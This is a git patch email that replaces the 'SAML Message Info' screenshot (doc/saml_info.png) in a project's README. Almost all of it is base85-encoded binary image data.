zcVW%Ll^|rZ8+aR>3R9}7d@hqSoqI*nH1{pdtJ`If=e8%cBSRz~(Ae-;!OvF~{`!`BG<%(|!cm znz;8=Ta(iD9K~m2A0S(}uy$u6;z@Ojx3Jpsz4yu2?_QTp>>nP!Hasm=?0mx+cY-QA zzQA^`SC(75w96$4`!#f?lymrQ4|n7lU%eWvGE(P*FyZ3VmEL2Xt;SNocG1gWkcn1Z z*FPbAJrJeswjKfpAxRYegn8OPGIyr?1)uXVlbtS6Gx70$T({=T7$M;EoP?|OY)O4r zs+b)*EJ@6dOUipHpL4j*X%?Lh)0qTQvS24#si(*P3RH>b>j+&mf1h?iG|p@7yr`%3 zhhD}-y(;TXKaz9N-p^7+y<9g@r(^QE-#!CLM~wHuVJUraUhTFbkWUM#Hv+!F#a^95 z@$Qg6O4n&-=ckHu{f_VV&t+03?G&u)Xq)ixYbuWt#)l$OL@bwfj~pjG=lF42Ccqu% zYG>xW8J==0gkRO0aTD_igDK5%r|wis6FOH;c3d4r#jUSASx~~DdZqnypUW55h1e`8 z)~t8d-(Uk{Jmw~H$bI*mc{t-ZnTBb zLIojrsNuPH4ek*HNtDe_`T55Y1&Wi0*U9n)QnytSVEI*}Y-gJ9OyZX)SN)(rKkJjm z@#pCpxap9E#_Rl2_;E#iY}s$5VtySh!L6j&gTX9BJ0yviao`2%mFU$bD|&YQn!7_M z^;}m)LU>qzCJ|L-7JJ{lH)Z7= zt8io}Rb?$SaAdm;z36g^X{Unt?j_9XvHBo9+nRU?JxUu-gr1de+wnL!G+f{4Cb!|u_EaI{pbp|S>Yai| zUmkw`+icr0o8H?fzvOV?y6y5&_F=yfFQhr$F9jt$7A!8pPiGEOsv5hTNkDO zy@Y=8gxGNr`ACbWOo0#-<3>!y#pSpO)+(%lxp|u$Nb6 zb+7Y@u*X&yb8`nQm&)9WTW3G+9@!K1o?^q|%M-<4-1O-_zdoA3`|FkOa1e1!-nBiW z55`%KW@cu>b5nBXv~9jePZ(D!kO0#4TDIAe|K4-G+RuVrTI{-&=;0Pv5ucyc)=Es4 z9b8etY`ASg#jX39dgt30nQ4R3pe!ODT*4J*eyK%$V}O(h#((JfdTlpPOiNWgR^(#8 z?OK^FyF1EF^5f-XEAyz8P}-~4?jAY=Wvd7wwNwGKiK&AA=VDGbQM;RVSEP#RV?^%t z%^2)n_S0YHN8ysWqd_KcH`2E_(gXowf3XcfYQ@}qJ&rOmb`cn zjw=iU+HZPQ*(y2oU!92Tb8#6caid^AS5h3h_x8ztt*AsI6bVIjiL2{VKNf5BO43<^ zUO(r@DFrg}JbsN&dqL;4eq+ZvAf+IB!-$JnJkotq<3?OUI=Af%`*YDuY3AN5y|cWc zBYMJriXUETLnXIf)!zNXsKIb@n=nw$#qX1_yPX)Nw^Uu#OcT7E+NCxpgz$Cdo%Hdp zB;mbuyVQE$JmZ;#%AYel_PJ_p&UQZb{5K}(svWa}kH4DfOqcX3PDp}(^S`S|iH{EK zq2mez$f)-`sP+qYx>(1FiEy}~?$%)(;Cgy>Z_jzj#eTnPzsX3lM&pUXR<^AzD}t{{JH?``kly&hvY93rV-e+WKG@@jI$GKT*D1I{NidjJ3c From 122efb7420f114bea1d85b81c3580708fa64f397 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:21:18 -0500 Subject: [PATCH 14/27] Update SAML Message Info screenshot in README --- doc/saml_info.png | Bin 195411 -> 153580 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/doc/saml_info.png b/doc/saml_info.png index d43523fe839e1cc66bc8a056298848862fbf9b0e..e3b3a0ac0de92d47a5a7111a72ceb0d307e6bf45 100644 GIT binary patch literal 153580 zcmZ^~1yr2PvnNb~26xwx1b6q~0fM``6Wncry9EgDPH^|Z-8Hyda35fpS@ORBz4w0K z?#`S!r=RXF>F(<4s$V}7p`;*yI1>;kCx}M_xP(4046F zxVVyxxHzSfvx9}TojDB5mx$yPL^ahB;-SNhTPYNY&$37I@d_|>R1MQbL8ZYTKIHXd zB2B!dk78)SSCjaxKckKbPa?S(36BzGazSFIth6`~h&I;VP1W)|>2uL>k==UJ4)wj6 z;7JrX^d*3a{3QK;}T#zJ(b+2v?ZeM~>&+`yBjjKrn%D+c#KF=~V)yAbC#0wLWRjrb#iai8Jq8c*QF7-pj6hI~jzME$CV-^jjKHT^ZkaycE7H zEOie^1U^?}mH?hXD-#=Ec;Nj;Fcc2OJb+Dge8S?Rf|I)xu1};F>86onW^_$FodVt? zgRcbN=@H$5<+G%Gt*dgO$%YzT6yE^pu`7DrEnx`rUOnCwO2~|pY9>P@n(E$9ay-Ga zK9wUC?LreKU#IU=w;hm3zu|F+{n`5_6T4Veex+KB%wzDQ$${(msi&m9U|02KgJN{A z;g8*dRJk8md6$QlaJ09lYqSHuN%!_M$w~5l_i-vH_2UL%V#1RKFc<~G?42j|O-&IQ z!r3Miex}Dpayk0CS9o=7$F^jFzrL}!LG=B~Mc`4VqgB9(oQl|AM;A;36RRCQoV{o= z3`1%d{&gf{@hkb8TsxHRwD(nC(*?@%h8ze#!;O9>vw91!9IM*Y7v(0p5-T3iVQHx>s5{@RZGHcL{$$hmsrS4S0XEAo<~a}<%)g^ zAIvYa;$I;?i$#|h%56Pjyk);7cI9d#Uyl?H>k2p*kIMy`&=QhG;|-$q4fdPDr3!wf zE5@!zoD1ZOYYidl?&veA<*XoDgeM7??=ChbFkLcgHqNLmsqOsje@crUHrK1YE$Fz- zi_VOw8Mzv{8Yd9a9!t{g*PVFz= zi@Av9j>C_n`3^RiEuVfS`baeTQ!!Qw&aZI!{+s@=ex485Bk_B(>2lZ!kuvIqL4{F; z!n4wK#LGX%-_ssFL93TKXEUVQy_Uu<7?pL$d?IZPdizL=g7FLsnYnK;>$-a}1Fy{z25e7iiY z+*a+O%s_=qt*-+_6-feH%u-7ZwEZxHHth_h8t-UjD75<+n4dV^}O$NReN~mPp0C$w_ z&zhpdqUpN9>vBB1eY=l!D;5g^C>&#MKRq?pD+CtJY>VBh+zQ-s&?Y|hTZG7GOpGlL z*5g<@q^@&4|Ef&<7J6pCis)|RF6z#3%71FGs=MNHW_#+uuS5zaizHnkGvL$VyC!QE z*l^3|58B#mZ@w(}F@DwrC zVVz5TPGj-2^D7i)628#3uPCaR>!RI+*<{}&7vTaD0&RdpkWk25s1!5-rsVs;n-W;I zfSv%7w-+^T%X;pxJ|BiZT3JuG8aX?vIl5gYVvb>2f03poCB|)IyERUgN#(6zA`PzZ z;|UdsWQ`h*1i3N0+xM@fw<=Pfy-$&FmsBpmmpY5`COE_CWPTEj_KIdK=Fs5drfZ_Q z_sew9lgt$KcL&dc7~ZYC%MZSn&@-{y$?l)=^1tDpBKhJhOE2Fhv}xxL0n4E@5STIY z)+%{XS#BqoeRbBm?%JEmbW|X-kkY zuTf_GaEq;h945)A+<2s}W3&?6@Nm3+>@x>6?>FbP+~G*%h>KY0Ki+YPy2amT`ID?A zBm421vAJSGn|jvhINOfa$KTy2mS2U^ZEW0JWcbNh$i>!KWN+YrY(#T{;Lw9W3%`Qd zQ{%`GG-h&Za=tV95kc-J%dzgLUYiS11EaaNWrDJ@%*qq?-Vku@sBK=Rb&uY9+{#2WH)Q#;o?I-W&EIBUe zK}OC?%5%CZ<@HzVC%xA1?|$Fy+%@xfek-k3s-&$r+9YhNb;I#fT`q3UAh7RJJJxD7 zMRAI%--(|q>iesLx*;Odcd0lKX}I&2q! zb#GcsTU0;qJs(}abM-hquQDVAa-Pm?sCFHW8C)57`I)`6BBX?d`td(6a`nd44d%Vb zJXe!l3QcdAtvA%CE$aDWk|vS)`qMs6pY`>G3B<9+a*}cJ>8y%93As{2D?R>pj)~i}j^06dr3Tg7zgZb3gksES4 z;o>rNmx&<^xC(@Z)a#E|sS*e=lLPnMkAIsF?l&<^YU;FSwdwl1JXIDAwU*qKk1gEW zRxR;+AKqqnoV&e@qivE9*w;B2wBot{dT<{T~CutmYGJqAd55b?jx!otqJ2C^{3=2|iq z^71hBuVo~dH*c_EU|&mbUcdi*aJt>U5_)gt>gveP!s6lK!R*1o?BHz4!p6tP$HL0a!p_e0+Jni( z%ih)4lgZwN`d=phn~#LKi>b4_4%#wHGKu0rqM{}uFKpMUi<_q6_RN%k)P z8P@9nS^l=Luraf;{NKo2tu6i^WPe-!CHrSw|B4g*%Zy*i+SA-lTf+LAxxLG)YQkKc z?1KM@`9E6zThV_h)m_Y;#T~xA61objnmU`mGO%)R{SWc~Z2bQd{v%TBzeRGh{(nUN zkCy*I`F9BXiq6)r(v1Jkp)i{u%l}dLpZ@^BG1)LR8K3&8Z*aclCig$ipc9&yb=A`c4Anh*?||BgSxIE;gxx+Wyp18P4>l zIJWfuKxG^sJ5ar*9WCWT;B3b2dp~3C(fbF;rpLiXvmBmi`uJ&=ZgCc$r9wN0%c0bY z1*Zb{pCx#PpG;DmDhQOLhH&pbcrjume25R1A{;__q4BExffem#U+1?@77&?>WSqRoZyq?(~iV`lQf02oylm9W^c_VMkAM|7vemG%Q)D_ zqeJ2aOYHL$1sEoamG|6zoEpn1L#+lB@)S|_ZrxSS;cP(SsXJb{HpP?T&!#6tFGce6 zwj)=*;FI(qEpvD&|5*PZUGz2B?X0SzXEjDyo9m~d`taMDA78BAX)))et0I3+3w(Op zcf4);LAhsc^M+!%dn{*3M5Vw0>itYzzjbzDdds%~ zJt@^l&E8c5-k!--Qr(HJ{2qs??t~bddBP0bx+b7pF8Q)}oZ=kH3F5*B^v zgrH^GH~>iDJ6@802gGQovqH?pm-O@o4YErQ7{pgsjxnUL_#|e`dqCFZht4}EAt8U(s z6|`eFnPAy!K;BgX1P$EeybB(QNTeV^xW7KUi#yh>2HZI^3+$Z5)e{zTb-oCF1!Hi} z@yQ&(BqVS-;-&h}J($=Ht+_^kYVXP@3OFw=;ABrM^tU|)wP2sU133}SE1;VUEWni-+pKfY)Q2X8-4%~0Oy zUG$H6e#B*90mPDem)|@Mv4t-IHz1zRa-Bxo-Om)hZ&>&Lv^1*Og>#(inMuJ?aE??? z>}BDm_)_9*va(rqMVY0q@mL@&nUB!6R0OEkESY;UA?9~H2!W0Ir>zF)aQ@DJUik5{ z1S$m!3qE2&e+JZ+8vQ=py60H31i$HGaX*^|CW z^=Us|**@MB#&;ZHU%d4AWHK_TKhi1y&bimH#U6XFHDqCRK2=uaNa_orcjuvsBy3q} z)S*VOXZ5)w#wHuTtPdKl+gO#4c{vr{0f#mpfQNwV?M`Jcwr{cvmG(LIM>t;2%nsVAph&qdmx>a*$STHJ31n$a4QyE_ye%cjDoZpq{}k6re>hwWPSRW=omXZJB2++J>6FwZvwu?lnB_Pu8r2f#$|vOn zqu&;GaeTqs<2l4T`Pb2?78^i4U*sAoVSBgEFs!%Fs;_#tw*dW>MLkq>ma?%*Ti`D> zecNn24>UCIzS#P3R|)*$Y9U=iXeoR<7Rh6Lw{x7z>-_%UFh#v|F~&K9rr|2xM(tx; zQi`QPs|;H817??b${P!D{h0Ev`})sckyV*4FBihHA=%IlFyFWBySRV1m=EPkT=xtz zDLy}Q+Yb)B(hqG6+*S@(_qCe*oVCR-mwi!+Qr;nYlhxZ#74j~ZYn38HSp|!5w$;6D znGY6?BZ<@{G-uC3Z$FhzI<4S}Wk4s5EYR>S~G-t@#n%)#@)QDrX| zPT{AQ?tu{BVN`b1%ZW^PHj)>88U)wA8OJts7l7;UkumFvOIzM4&>0 z;tS|cp!1Ut=-){S@m6@EM17WqdcEx4RX2+yu}uswZ)TqudW+-AqF}2UAT}!m9EYmw zWXjdNq1J>MadTlc9w&?@;y}LWy5_ZiUcU46#wtN$pa^^8XB(nEb2x*9dtzLq!|LF+ zG968i41+z%6Jpra{ngD8tE-&jZB12;&Y*9`CBvc*>y~CAFwB8$vM=BSpa_jWu>aGu z?)5}L`|=ts+!%g&Qw@oXehk1m26&d#(Ew;MGb>kt^-4mEXM^Z~Hem!!Cao zgN%s@F?f+#Oq!R|_oS-kABBDQh`z3rHofylU7i4jsUo#sx!0fx*>(j{Oj(Cy`+4We z7qpcUZ@1Nd?6>Yc)Y9<4tOD9&#^&=7ICvpc0r?Q+WEXdLEy)L@8KSjfV^3WUub1O> zU^ZvuPcdWH*`#urc&|f1V|3=X_D9w0o{ilT3zVd2Z!iquu5KT|mT`IpkWA-ychwQ0 zuYnI{@u$rD`Nkz6d(H;rveT zR;umAfPM-^%pckW!7z?P>V5#@iE|eP2KDOGk>AX~k!l;^z=cq3oCcq7(g$SOf%?#-U08cpn~lWF z+Ocoe?V7iihQ|?7&$+Gc$p3hwzp>lW>t=fm3K3WAcBza2$2_S#;v!+lI`}y;i4F{~ z%pRX7Q#z$bIX`B^^$TjqB3g4vNnwgBG>={OZD@zvWrbtyItPur<|sUoLEQ8e_bLcu z5Gj0#RBxQ8_d9ZSul)(OtAUSiE!V-qoFFyRX^P7@hPHy0;$zR_1Y^Sb1~|0Xb|g)` zX)-R@Ffq!YH>68QJ(h5~mhw)f&Nh6BX{{?VJiF&7U18-6QrjZILTNSa*&b-j7jnOW zS;6)8PcUBe6eq!QP)8zuP3@=%42*&LoJujLA|0!ZDinIZt9REH6Mg0Y=7CNCX>j_l zjouu4Z*&wnlv;0c5~Vj?w(km1yIe{e97QNqL#(y975Z`g(w;M>0f^uj2zqE3i^Aor zHPJjiTw6YM|BV~W5cGYC|9sNe9T0&cU??z} zjeHnX92F00hQ!oAXN8*9Zwx)dPdE-r(&T?~W&ePDb`!iVm4C(^sA*kH1M zxq#2roBsYnAIE)iSf_BdAjXm3cuAqEHww`94#T%&0QqZb!yB~F&A57RjBcl7>8X`zf zhEQe{`kY0hk%;V$%6U;3t65@J6`p)Vp=6g2m*O`6+j+kpDtS`3_lLPFn=QUXH|h<~ zL}caDC&^ffXR1Z0&h(iqMYs^p@zMy3Z?>WKu%@!CXAn83^_mb`r{vjyS1-e0zR{wy4!H{k zPeNw}n5<~Z8rDk#(E@KFUjSmNPX`M4-6gv!-C zdP>gWxH55IRwUN!+DOQ|@;^Qw^$X&^1<`KU)adUaceu_ae=%@j^5?zOYOs3|LfvuL zlGHR>3DVrQgk~Z0;Fqi|hQo9%%9b&qclnri@7G8%1c=xI)3I?Coj*iTq?`RRPRgKD4K!@`5yWRAADH%CRU8$QJRClH-XAm4OI z;i%s*Orhi4AI)IO@?*wQn{V=JzN*|4Ai5mMa3Q&m<`yoj^{CX$%!0j#NQcj0k(peJ zbVNS5GonV0V7nHjJ=e4ZeYIDF|NF$+eM2G-EDPj?9`)QqP=VMN9s>F;Q6Y)v+69)) z)DbG3hk?UXaK|10G zHl~Q@BZrFTi|KfGQ01}<>dxOF0dW>G%M!1#a}*ve%<||U+Hu^)Ah|R~`gWb;hksPy zm3^wVM=Q1CW?y0rp9)@QRTuipeyU@`M{PlPYN={T_C?gg^-B)dU!UU7%cwQVsL~gT z3O;~7s5IE!j&<`f2U+i5((u96H|WyPOt?B8X_TQl&3VQhusXyDV6kxoc3Jt`x=3 zj}WU!E_g#wl-7Gmm?4w5 z;BQ9s!N9m%O%6fu_YGs{|8N5v5K^;eTk>c=l>@BQuPS`2vz{e|=H17}e1>wQCz;5{ zEGV)CL%B1BMJ($fC5R$HzgEzD(KI`w-vOYgx*#4%0C0PO9NNDuRMn$;krmWhpJL)- z@r~1A8MXGIs;{g$R!Y>FV^GkOMT!Cnbu@|lb#)s?V7k9zqE>A%%D%QR7Sl zSF?@h1AnH}Z{2WJ#uA1n`cr?H=|G0qxVo=xSJG9kC(c|Adm&-cd zLb?RI1sAcbSN*16Q7T41t>E)VrBz+|iK@t0e9g&${s#1ym z$E9!9Jf|aO3V9{p{0#1(^MO!`QB8rLp2X7Rv@mAaT8+Z(&w|v-(=uo;Xo=NA9L3c> zDa@(QVCYu9!sSFP8tc>wZT{PDLMEhk3mqzBpyF>+Hoq(Hq-pJl!N^*^YNU~I`ci{m z!o&;JvaSc)s`fv;$2JXz^0A4}>lRYkov_%`8zgS<<(1sVR2b9l_@pK_FjL+5vhwN+ z@o@5uT3w2G1jX+T*50QuBdW+X;BrP1>aBQL-ZuMwZJhm?mL<-+sN2!(NiGDA$CmnV zA5#K61b!!Y>&4c3^%p8JMfnRLu|3m~F#H5HojMfiTNId4pQl0=>LhWwV^PNPXSc?=Rm5FsmB z7sB$mQ`}i6QS7dk#w9lbRWYR>2=Ib@Ksz7*g@OuIF&ZFuPeXrWiiZV=L}TZ7i4jt2 zvI&vdev}~euNdrBbcyClu41vOnB$eR-23>R8bs=aaQN;DsdCLK#N}%EMdxq8(|M|m z^q#rf6n0=C-zzMyeafqx65#7FMgBrIO2{2A>kQDK;xWF@_7WrOtz6>w;G+&IB0fH; zYfnA*jmr_)SPbza)>Z*YxW~XU;+wcYtFf;%Ou@t&Edn5f(6AtQLr=1=ue|@&x)UP6 zdp~qy_^Puy6hT~5r=xQFt!bGNT;wEXR>p^BCJeHytx+&-hA^sZi^}A79j%v<>*y_h zCQ8qtu?l)>RO8dzq1U+R7NfN{=DYVl`QCr>P`NS6lwPm*VMS0Z>x>!N8FW zq*Xc``Q%*{MWvsJy%PiOuSXx%%o&yc-$4*FfF7v z%)IKrx26?n-$%BZrAukZg!^{vbX1jIMWEV7gE3P|P0*ol>d^B)nW)zbHIJD0%wO=$ zO1krf%i2*Pxjx~*hxOj^Rs>W<3BLxW{)*aGvkZT64qNxWzt}m3DKuzh?JpFGmC(KUWJ2< zW^8~yBJHl8N?{-hSwo^epe&cqEr=2^=IWef#?$=8w0Wj6=p>zBUNE{~tcXWal?znM1pIE|$BCLI_+sr{Wre@jI;0-S zmL&O0oRe?_pVXP*>S+w!HVyEcENYboQK)Ub;vI>2(VBw)L7FnQ`vaDM&ZK{b^WbO^{3 zK8AH>cQ)s@);|EGMUb+rvg>yxdRUHf`Z0|)^vB!#6jxr-7Yv`G0U?}JABiCukG93QxUcwxhd)%&6RumFP2M^MFcfHwjf#V0 zo32ClE0Yi!qID_^gE^R;VFZ1Z`(|eUjV6`9vv1D_Es5j@sWDsc+!p@_rYe1=Sot=O z)|g%|PF0MvXF#iQcubIwsizgKl36P7@u(pe%p}ireG{%RFIAP4qdUCXovc0tTmK3t zUcO%COhgj9ctQkzUxy*^o(--#-Q*4ikpGSV5BY2zJPhvKcM;**^NAWjD=G8z3A%MS%VaA^VQqjh`^gV1`4BDPx8qgB@?k`l63eWz^ zwb7w!vSSw2R-*iw7DI16@VlYxH=lb2qm50K*y>xD?YYa1UZ^*?vQ;2Ju?@V(tmh-v zw4MItXCAKunFb?-l%nJIldz$FhcxIy$Ty+Rm(vNlLm{0achMV%6Sw7|IQjXVXc$>$ z^x{yrF7&%Qj{QIA^&FP-V-so%p^ z=STB0NL+I}K8rBmW4gjK;$+7j9b?H&VSIRD-i4vGsa3P4({Vh&*k&dc99K@Wea{1l zSY$EyenXx*#O`$abV3VmJZ@Oa0K7+M=UUf!4eSg2*Q}D9hTxM)Tu50H-OKl@%{*Et zIbaitC=2z5h}@n6TEQ6w1G*?!_VZZV(naz?DqbtzRP?eXipQW!F~#b(B^FWGoh15; zqd^DAo-z3Dk?%`CLxKBPHt#N2&dF~A$==86?X}f@vgZD2rFb(<=edgLr9S$BY!Bj} zEMFn}Z+zH1P#;q6GIGem2>{mKo(;R1HWn=k)1Mur)Ogzk-#&et_{-yB>w*Z<9!k;k zGY%RB>|!M_ujMpbvJ2RqY{N`hj}Ku2_!HNo1U6kaxPTwENHo4Vm_gOKDpfLMVrHa{i>0x8 zyQ-r}kg=z?SDE+HmB>{b4^iM40vH46YpU;cs0)Ra57P@(wH>U{Vq~B~+GEkXZD)9t zyP_Dg^E~0z-PN1wW8OdIq8GZ$v6r(|CVv4|#4a4zW6~yk|75#YM4D=+{*Qepg(YV|WkMg$@ar zY|*J-&WL*$foAV{_Y1v!UEl4EvcnX?W0AUygjiKu5{J}4>lL~`5~%f!;<=6!9%^aF z;dLlyU*i~`r9*KfABQIHBU=(n{&{u8^bLtc(lAjvnN4E4Ob?&3wtkDSn&f) z$#Lo3#7gs>p6u>4{f!ja>9l2j2lSsGY;&d1Phu8(Wq_@SDcSR|hkDOGYizgVdh5U1 zZfw!3^Tx|vciKA)7^$l*3Bwi5v<)^Lfk`~%x5yiqaqJOqieo&>;7 zjxJH{56Xit`4rv;Y`714Gi1psm(;`j_lGUdEI~8j2u$7MHOlzLq*Y8aO3~XbEFcu~ z1P1s`d)JyahF)oFtVo;?T6znroek5=1<=GdXm2Of4+#oc%5hxib}t>xj-bTRX8|IL z12%AyxkRXmhjfjGzhUfd0*_+oqdA_WdAU5sURtU&@d7c9S%%x(ThxOAMprbx1s=cg z4=E*P|KvV<0lS$16p?ukYY`dMMmdL8BSxh13Q(a?$i7~~R|53Y5>IN>Hgj5kfQE~> z4EiHFxcLeLX4pQ<*eZJ8SGz=d zC_`>Z?U7Y2rg_tvBNGbt0;AKb z()yA*1^Iw1PTV$Ciu5JMRt`E$s3(LL%YwaSwyd*X`FVGQ+8LLX^fV` z1)NBBBMCkF@KSaOFro+Nr;4eUyHIp&{Hlo4hb304Dr>iIrfTz}Yv6N2Ka5!85YeNA z7U(d2#hq7pwlo-EIHiIx68?0&R9_q*d_na`wdR{}THAWV`-g$Ju!ytNyoh!LifwA( zi|GNrifefY@hasyvLu}4O58_b^BC3ppxe}^Y;BhZIq{GP<7X>uJ`Ze44n`SCpF{X| z!qnTKt*e5W<+ec%feeYHYrIRY|3xXlK(f4?{J5*rHkurdMd(~0LSH}S(2Y?sA@DMxzM)%Srt%{iR{P zBXYLC4Y@buR<9wvwJu@2;A%I@X8UYN$|x(p3l9>Nuab4od-EhWy+5XTbzm1Op8P?n z!5-NFbchDp)(*O=Z}0kCFm};jtvLQ^I_nC6?+w0wv$g?*seU;&@r73Wy4)hAq^W%S zLcM(CHV1H2T|FlB-cKX+JfHA{KQuieJIu=?Ckz%SH`!ugkz8PV*iA_>2x*t9Y`im6 zkU~!apZP%rwq4deSwT~M9#2zRBX;ue5RS@{XI54g?d7YVv_nbA*B+O*e{IkffIH2IxcMC)RKoKP;kTWE^HdJx;p=F>=AN3?559$*TcB_k`3?n#X?r=5FZ zNKF2m+VYd3hgUbH7mjI>DOKnlN1}+>A-)qo=|H$yljIWj37Z#4QxAK*Ntsu>e^TW{ z$9xC1yEz0nLH^F?8D+BtQ=R^y>kag{GU46&$9RDkJV8&WPfd}4R#+K@@0SkPr)obm z3eqJM*z^U-+o&SiOd%qdouHX28Pd7KlsttY^zb<1(1(?5Q84?}@}8Jk(^>c@L;0b4 zuVVeC0G3GNwU=0+V^ps56vI_qcD~~m%`okxv0cl!IV7a#Dp{UPPdnr3!`=)($m}z( zf}epK=dT^F5xz=8T0w*c@?52HS)?ChV7a16(*yt#Z zr8h;S6Pv)$nP#$`Er3f^r29s%`EEY7y4&q6T!SAy=t=T&hC*08Z-vkDgH&}Z;ftb8 zxMj9ZsLFNurF0=G!-g;Eh29g7-pU~#*nb{>{sm&*e`l@7S%9=IBXHH8`0M*2thYZI zgkIfmSUgowLK9i0g3yJf3V8l*oC#}*rKi*~+t}_BrWWikDCEdmb@Usq7Q^yN5pGS&#Xu)KWH zeBK2SvuuUj1xscUpg*HPAlF|Lhj76#)wobZJ8Cc)##tF;dFln)_%zkGR6l?Jq`2m4 zbQ|}IbU^dQ08LhXbZ*~TFu!VlSso$(ofss8k(`ZNs@i?vT7=J`N{tZpyWU4X4$()h zL94@vsVftNeeU$ zr!3r~$qG+8Z`r1JM_cE}{YgG*tCv}t>f2&Uc++;c;>L%LXS|b!1V-Dy?Obm$P#OQ@ z2*Dxp2rcV9$+jZs4eB;sN*}#ZjLdBDG{cEcNmmpg}PmltftF%J-u|A%(I z*fT%U74GV=6~5(Cjhyi6Xp&CZ=E?qfFV4kpCzN$Hgs(5y8{J=CrK+tFEV)~U+>X@G z)ai3n6x=jvtT&_iZX|xenq=Yc8_+ecv5SSYH8uDR8miiyZq`0*9nhG6g$2*c)FNcA zfQ9&xewOwLS7*$?RN8}Syz3{p@rs4xSo#Q@W^yjZmt%%!r}5!Hx^P$OvYw(N$Fdyio#iu z9K=7tj;USYwSsBD2iBT%x5CSblD7O}4=XH-Yh-JTy*wx@(@)GTJttc^{gQyiyQGGM z0}3^7YL>GP)gF~T{Js+B{aP$|CTtaWMnlk}DQK+5S`VNW znqLV|`wkV@$c&#Flk~>PjV3BeNvG-6PoL!wN}6t|3C-c7KbRxmm|`$UGPo{pekyhF4jrtHg7X+g8kk+s)Wzp=9Pw%>N{Fg+mFI zLut;h$%QFO2mxJI(jECM6CK?_?0jp|D~JCCQ*1op%s=l)c3k~w*J`SQIb&%@3|hvv zHFZX@kk=1KiM0;0F_oJxTeOSTQTo0wIj7`kPS7w+FZRr>%jPmqPolquFT85TOETMY z=ihI5G;7oL69o#>#kW)VYbC#BM=U9+Zpz`AM#_e&H89z2q$+Pu-tKBxG?P2rQW+>rTwB{=(tn4(_4M* zahsC5eOtEU#{kW4A;Q#7S@m!7_f#nc(JkOcX||mqKz|J2JSLVTdq7c`!A!9E3soLz znd|)2jJe_!3-elkrBah4L-?`h!HhERMH2(t-iYEQZb>;cY2H&`JwUV`<6`jT;RVA5 zxDtKw@(tI2fIGr+LQ%HIOu&S#YGH?(Fu(!D(692KHfK3UvPji&GbF|M_b9u`fnJsx z)aBjh@GyEl$7_P`LRQxo+awHLPZ^oKI-U>_?0v(ysd)rJ6$YD}k0oEd=4p|*%GCUM z2R?=MJIiV7P>~mkYir0hw|sXXJ#ZL2m~gElWC_&arrX`p8C)bqTIh!Mr+?JaS%cFT zaK50Bo3j=GrGJW^MQwS%_(h#y`$$?6BgPK{FBQrj(J_6pa)!*I@FWZUpJDPU=_wZW8qU-*(5I1AuF6FM>otMD7H6v z$Z$W3`pss%(hB`f#;745#Mw1;mN zZ#9XfNDNMI4Ve+3VBvS@k1_l@{j8Z1%UHF*t0t*m?15ZC`GDmgM5*sns6HX$-Vp0CZm| zZeDY!?VfIQVt}X%YfgZNn~c5xu7y!lAWZ>7O0l0gMEXEA%eX7Nf!B0Yjy-4#Z>l?t zqH0k2P%nmRox}-emUgzBOLR!X4YMGq2na?yQC^7;{Ut@bLqrsgz7q6h6N1&BA`e#ZO1v6KceX0yvM9rczg#8~vxe@lSaNj(?f9h7a-x4bl@vJW zSN$HH8h9EdbL@RcFOb^*V>RBq=-nKxn<4f@!>us1r~b|9K%1$?YLpZ=0#YQ$>Scr5 z32>yRpGuD%C^8g>VnY0f4Cl?BJ?Sr?$RHH|8PsU7Bc4vCA6_Ww9An(L&DDCxXo4S_noe%HfxO=H?CG*NHly34YTT1yuG-j7=VUOZoOh3v+ z%1%-SG&F}4fct0OHpGAc^4+%jZB}jvJkHf^z1+-8ipTDts&1aQ6lq%HO1@^CMU{y9 zgYc|K;YiOP0LJE3VF}QzN-xqQNu-#8JxN5GdkQMu0+#;BJIKwgK4d#bJ4iFAL2Amf(_Ito{#d7)@+VJ^GDYB+wxS-I0b9Any^u7v~IfS=y(>~%+m@6P2F|D+QUpkMxM8lF20QIcD>C3UTYH6M+O^%s?y2jd6f-t8#I|$vTz+Cpg zLwE2_;biYE>>0qT z4fdY5L6b+>Fd3C|fb|GWp=;5AwIN~PBlfMWX4Ib4x zJ>o$swtrX|d<^dS1v;y3g2I={Gt1loWi^7Q(7s9wM;k}!?Cy*yO56upI;{$E%$y!7 zZgs|O^u7?N4-o9)JKC^*cle%#8})m{Ojx*W_Yiav&ughz){9P?)IWd~ z{E^v|b9cGW@-*}D$bB~vWYjC+%X(Vfvh^FGlwR!-W&iabKW_kB`UzCNrXb|Y5`dvY>g7p ze&*_$C+{r4{iIXaSe4WYJMYT{`?kf|{DNl~306w`V?wc2@D$Oq-ISere<;9eLPp~A zefvTP;#4?ik8ewFNpZR913HB*Sm>JB>=S7L0}pTG3fK>;n(Y_l5KuRNfY12AFVs+S z$aXKF3;GcDasvifT>~>rmIn_-b=Yy5#UEOMY+UHa+Fuj`u;779l zUKJG+!^=$q&}Ina0d&y{PBxJX$gFTsh1`q0G#5K;&jv8jMx^8h`&Jm3qk1pQd(!hhU({>EFCSM7^A&Xca_}8LY~&wRqVWY6c6d*1n`cqm9Wr&Fa8KOA=M>Yp-tv(t=M|;o zGNIMpr9gu>PG?SDaE1)YA-ngNZq;Tks3C`W(NOYf=$9b?@OqPcdb7_%QRI`Q4;8d= zI(jvAk1FhBbr!_l`_t-Oeu(w3;*^*=zs{%o04+I)JhhDfS){bkTF65{>~Gaa9wE$O z;6mQDsM3o)3Cb^nT(9li;w^1*3=v5TMZhlB6ae?9Pz^Aw9=v>yZvPUD8>EWutk6&+ zG*5l-{dWvIZ^?1bq(^9qPh<#mQmpqIVMr${Si!BP}*51k_|;SeYDM(Vb!kIw5%{}$2K>Y zbY(s=No!)|GGW{y7cA2$)di*Jo8rp7%fxj_>y;Lg<1Tid)CuvNQ>yaSQnBEl)pd)l49;iisF6Wzk+mkgNk&6G`NH`64I>#f^;{m zgdp9eba$5^EZyDR-5{|nyE{MLzt8#p0dvmGnR}jRuKT{O*OOSvWzryBRwX!AsjhqU z>m512@<`1q!w~9lyWM1F!r1<}v5RMYWmi3fzlC3=q>uZQHfwXwnvqSYD!w3y|0uj~ zBftZASBj(4TzM=c5Zvc9sEO zfHP=cp* zl<*cf5~K@$esmoc5Yox3Zzu=}^(JN5*NK@ln6@laeKsbl@v+*Cyuybgx59X!FvT0{ zs{*ECIIu&DStODNQq?D|oGAzOoAxKyE)SuL2|+FP>+7F0yfooF`8EKVmto;8*N1_T zzs^K^a7SZXvbG)~Y*75K>cU|9b*B+aOM`|`V(ytnD)jVrkc6NI+Bch8KnUz@st63 